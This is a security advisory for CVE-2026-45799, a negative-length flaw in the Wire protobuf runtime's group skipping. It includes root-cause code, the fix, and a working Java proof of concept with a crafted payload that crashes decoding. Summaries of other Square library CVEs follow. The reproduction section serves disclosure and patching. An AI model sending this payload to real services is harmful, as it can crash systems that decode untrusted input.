CVE-2026-45799

Maintainer summary

Wire's protobuf group-skipping logic did not reject negative lengths before skipping a length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an unchecked runtime exception during decoding instead of the documented IOException / ProtocolException failure path.

This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures.

Affected artifacts

com.squareup.wire:wire-runtime

Affected versions: vulnerable releases before 6.3.0.

Patched versions: 6.3.0 and later.

Users should upgrade to com.squareup.wire:wire-runtime:6.3.0 or later.

com.squareup.wire:wire-runtime-jvm

Affected versions: vulnerable legacy releases, including 5.3.1 and 5.3.3.

Patched versions: none.

com.squareup.wire:wire-runtime-jvm is a discontinued legacy artifact and will not receive a patched release. Users should migrate to com.squareup.wire:wire-runtime:6.3.0 or later.

Wire 7 alpha releases

The fix has been merged to master and will be included in the next Wire 7 alpha release. Until that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with affected alpha versions or build from a commit containing the fix.

Fix

The issue is fixed in Wire 6.3.0.

The fix rejects negative lengths while skipping groups and throws ProtocolException instead of allowing the reader to move to an invalid position and later throw an unchecked runtime exception.

Credit

Reported by @TrekLaps.

Technical details

The following technical details are based on the original report, updated by the maintainers to reflect the assigned CVE, the supported fixed artifact, and the discontinued status of com.squareup.wire:wire-runtime-jvm.

ByteArrayProtoReader32.skipGroup() in wire-runtime did not validate that a LENGTHDELIMITED field's length is non-negative before calling skip(). A crafted protobuf varint encodes -128 as a signed Int. When skip(-128) runs, the internal position counter underflows to an invalid negative position. The next readByte() accesses the source with that negative position, throwing ArrayIndexOutOfBoundsException, a RuntimeException that escapes Wire's documented IOException boundary and can crash the request handler.

ProtoAdapter.decode(byte[]) is declared to throw IOException. Callers following the documented API may catch only IOException, so unchecked runtime exceptions from malformed input can escape the expected error boundary.

The originally confirmed vulnerable legacy versions include 5.3.1 and 5.3.3 for the discontinued com.squareup.wire:wire-runtime-jvm coordinate. The supported replacement coordinate is com.squareup.wire:wire-runtime, fixed in version 6.3.0.

Root cause

In the originally reported vulnerable code path, ByteArrayProtoReader32.skipGroup() read the length as a signed Int and used it without validating that it was non-negative:

kotlin STATELENGTHDELIMITED -> { val length = internalReadVarint32() // returns signed Int and can be negative skip(length) // no negative check }

The internal skip() implementation then accepted the negative count because the computed position was not greater than the limit:

kotlin private fun skip(byteCount: Int) { val newPos = pos + byteCount // for example, 7 + (-128) = -121 if (newPos > limit) throw EOFException() pos = newPos // pos = -121 }

The next read could then index the source with the invalid negative position:

kotlin private fun readByte(): Byte { if (pos == limit) throw EOFException() return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException }

Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code.

The fix adds this validation when skipping groups:

kotlin STATELENGTHDELIMITED -> { val length = internalReadVarint32() if (length < 0) throw ProtocolException("Negative length: $length...") skip(length) }

The fix was applied to both ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup().

Reproduction

The following reproduction was provided for vulnerable legacy wire-runtime-jvm releases such as 5.3.1 and 5.3.3:

bash curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar

java // WirePoc.java import com.squareup.wire.AnyMessage;

public class WirePoc { public static void main(String[] args) throws Exception { byte[] payload = new byte[] { (byte) 0x9B, 0x06, // field 99, STARTGROUP 0x0A, // field 1, LENGTHDELIMITED (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128 (byte) 0x9C, 0x06 // field 99, ENDGROUP };

AnyMessage.ADAPTER.decode(payload); } }

bash javac -cp "wire.jar:okio.jar:stdlib.jar" WirePoc.java java -cp ".:wire.jar:okio.jar:stdlib.jar" WirePoc

Observed output on vulnerable versions:

text Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10 at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448) at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294) at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209) at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156) at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150) at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88) at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468) at WirePoc.main(WirePoc.java:10)

With the fix, the same payload is rejected with ProtocolException.

Why this can affect any Wire-decoding service

skipGroup() is called for any unknown field with wire type 3. An attacker can send an unknown field, such as field 99, with wire type STARTGROUP. The decoder skips it via skipGroup() regardless of which message type the service uses, so no schema knowledge is required.

Payload:

text 9b060a80ffffff0f9c06

Payload breakdown:

text 0x9B 0x06 field 99, wire type 3 (STARTGROUP) 0x0A field 1, wire type 2 (LENGTHDELIMITED) inside group 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int 0x9C 0x06 field 99, ENDGROUP

A flaw was found in Red Hat's AMQ-Streams, which ships a version of the OKHttp component with an information disclosure flaw via an exception triggered by a header containing an illegal value. This issue could allow an authenticated attacker to access information outside of their regular permissions.

GzipSource does not handle an exception that might be raised when parsing a malformed gzip buffer. This may lead to denial of service of the Okio client when handling a crafted GZIP archive, by using the GzipSource class.

DoS of the OkHttp client when using a BrotliInterceptor and surfing to a malicious web server, or when an attacker can perform MitM to inject a Brotli zip-bomb into an HTTP response

A directory traversal vulnerability was found in retrofit that can allow for resource manipulation. An attacker can add or remove resources which should not be available to him.

References:

https://github.com/square/retrofit/blob/master/CHANGELOG.md https://github.com/square/retrofit/commit/b9a7f6ad72073ddd40254c0058710e87a073047d#diff-943ec7ed35e68201824904d1dc0ec982 https://ihacktoprotect.com/post/retrofit-path-traversal/

OkHttp before 2.7.4 and 3.x before 3.1.2 allows man-in-the-middle attackers to bypass certificate pinning by sending a certificate chain with a certificate from a non-pinned trusted CA and the pinned certificate.

A vulnerability, which was classified as critical, was found in square squalor. This affects an unknown part. The manipulation leads to sql injection. Upgrading to version v0.0.0 is able to address this issue. The patch is named f6f0a47cc344711042eb0970cb423e6950ba3f93. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217623.

Square Open Source Retrofit version Prior to commit 4a693c5aeeef2be6c7ecf80e7b5ec79f6ab59437 contains a XML External Entity (XXE) vulnerability in JAXB that can result in An attacker could use this to remotely read files from the file system or to perform SSRF.. This vulnerability appears to have been fixed in After commit 4a693c5aeeef2be6c7ecf80e7b5ec79f6ab59437.

This affects all versions of package com.squareup:connect. The method prepareDownloadFilecreates creates a temporary file with the permissions bits of -rw-r--r-- on unix-like systems. On unix-like systems, the system temporary directory is shared between users. As such, the contents of the file downloaded by downloadFileFromResponse will be visible to all other users on the local system. A workaround fix for this issue is to set the system property java.io.tmpdir to a safe directory as remediation. Note: This version of the SDK is end of life and no longer maintained, please upgrade to the latest version.

git-fastclone before 1.0.5 passes user modifiable strings directly to a shell command. An attacker can execute malicious commands by modifying the strings that are passed as arguments to "cd " and "git clone " commands in the library.

git-fastclone before 1.0.1 permits arbitrary shell command execution from .gitmodules. If an attacker can instruct a user to run a recursive clone from a repository they control, they can get a client to run an arbitrary shell command. Alternately, if an attacker can MITM an unencrypted git clone, they could exploit this. The ext command will be run if the repository is recursively cloned or if submodules are updated. This attack works when cloning both local and remote repositories.

DISPUTED CertificatePinner.java in OkHttp 3.x through 3.12.0 allows man-in-the-middle attackers to bypass certificate pinning by changing SSLContext and the boolean values while hooking the application. NOTE: This id is disputed because some parties don't consider this is a vulnerability. Their rationale can be found in https://github.com/square/okhttp/issues/4967.